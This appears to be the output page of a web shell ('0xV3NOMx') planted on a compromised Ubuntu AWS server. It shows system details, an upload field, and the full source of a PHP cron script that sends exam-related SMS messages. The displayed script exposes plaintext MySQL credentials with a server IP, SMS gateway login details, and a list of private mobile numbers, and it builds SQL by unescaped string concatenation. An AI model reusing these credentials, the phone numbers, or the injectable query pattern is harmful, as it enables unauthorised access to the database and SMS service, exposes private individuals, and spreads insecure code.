0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.117.232.108


Current Path : /var/www/html/sms/
Upload File :
Current File : /var/www/html/sms/cronjob_sendsms_dud.php

<?php
//lib16107 lib16103

ini_set('display_errors', 'on');
include("sendsmsapi.php");
ini_set('memory_limit','900M');
ini_set('max_execution_time',0);

//$univcode = trim($_GET['funivcode']);
$univcode = '023';	
if($univcode == '')
{
	die();
}

//connect to database
$servername = "97.74.228.93";
$username   = "logisys3_logu";
$password  = "Logisys@2106";
$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$commondb = "logisys3_comexam";

$query = "select funivcode, fregno, fenttype, fmobileno as mobileno, 
concat(fmessage,' Sent Time: ',time(now())) as fmessage
from {$commondb}.sendsms 
where ifnull(fstatus, 'F') = 'F' and fenttype in('MP') and funivcode = '{$univcode}'
and fmobileno is not null";

$result = mysqli_query($conn,$query);
$count = mysqli_num_rows($result);

$username = 'logisyhttp';
$password = 'Logis986';
$from = 'UNISOL';
$category = '';

if($count >0)
{
	$i = 0;
	$text = "";
	while($row = mysqli_fetch_assoc($result))
	{
		$to = $row['mobileno'];
		$text = $row['fmessage'];

		$smsresp = sendsmaapi($username,$password,$from,$to,$text,$category);	
		echo $i." - ".$to."<br>";
		$rgInsert[] = "('".$row['funivcode']."','".$row['fregno']."','{$to}','0','{$smsresp}','".$row['fenttype']."','T', DATE_FORMAT(NOW(),'%Y-%m-%d'), DATE_FORMAT(NOW(),'%T'))";
		$rgTrimedMobs[$i] = $to;

		echo $i.$to."<br>";
		
		if($i == 50)
		{
			$strInsertQuery = "insert into {$commondb}.smslog(funivcode, fregno,fmobileno, freasoncode, fguid, fenttype, fstatus,fackdate, facktime) values".implode(',',$rgInsert);
			//var_dump($strInsertQuery);
			$result1 = mysqli_query($conn,$strInsertQuery);

			$srtImplodedMobs = implode("','",$rgTrimedMobs); 
			$strUpdateQuery = "update {$commondb}.sendsms set fstatus = 'T' where fenttype in('MP') and fmobileno in ('{$srtImplodedMobs}')";
			//var_dump($strUpdateQuery);	
			
			$result2 = mysqli_query($conn,$strUpdateQuery);
			
			unset($rgInsert);
			$rgInsert = array();

			unset($rgTrimedMobs);
			$rgTrimedMobs = array();
			$i = 0;
		}

		$i++;
	}

	$strInsertQuery = "insert into {$commondb}.smslog(funivcode,fregno,fmobileno, freasoncode, fguid, fenttype, fstatus,fackdate, facktime) values".implode(',',$rgInsert);
	//var_dump($strInsertQuery);
	$result1 = mysqli_query($conn,$strInsertQuery);

	$srtImplodedMobs = implode("','",$rgTrimedMobs); 
	$strUpdateQuery = "update {$commondb}.sendsms set fstatus = 'T' where fenttype in('MP') and fmobileno in ('{$srtImplodedMobs}')";
	//var_dump($strUpdateQuery);	
	$result2 = mysqli_query($conn,$strUpdateQuery);
	$username = 'logisyhttp';
	$password = 'Logis986';
	$from = 'UNISOL';
	$category = 'bulk';

	echo $text;
	$to = "918277684424,919964040441,919845532688,919844020272,919844059406,918792859141,919741089633";
	$smsresp = sendsmaapi($username,$password,$from,$to,$text,$category);

	echo "SMS Sent";
}

?>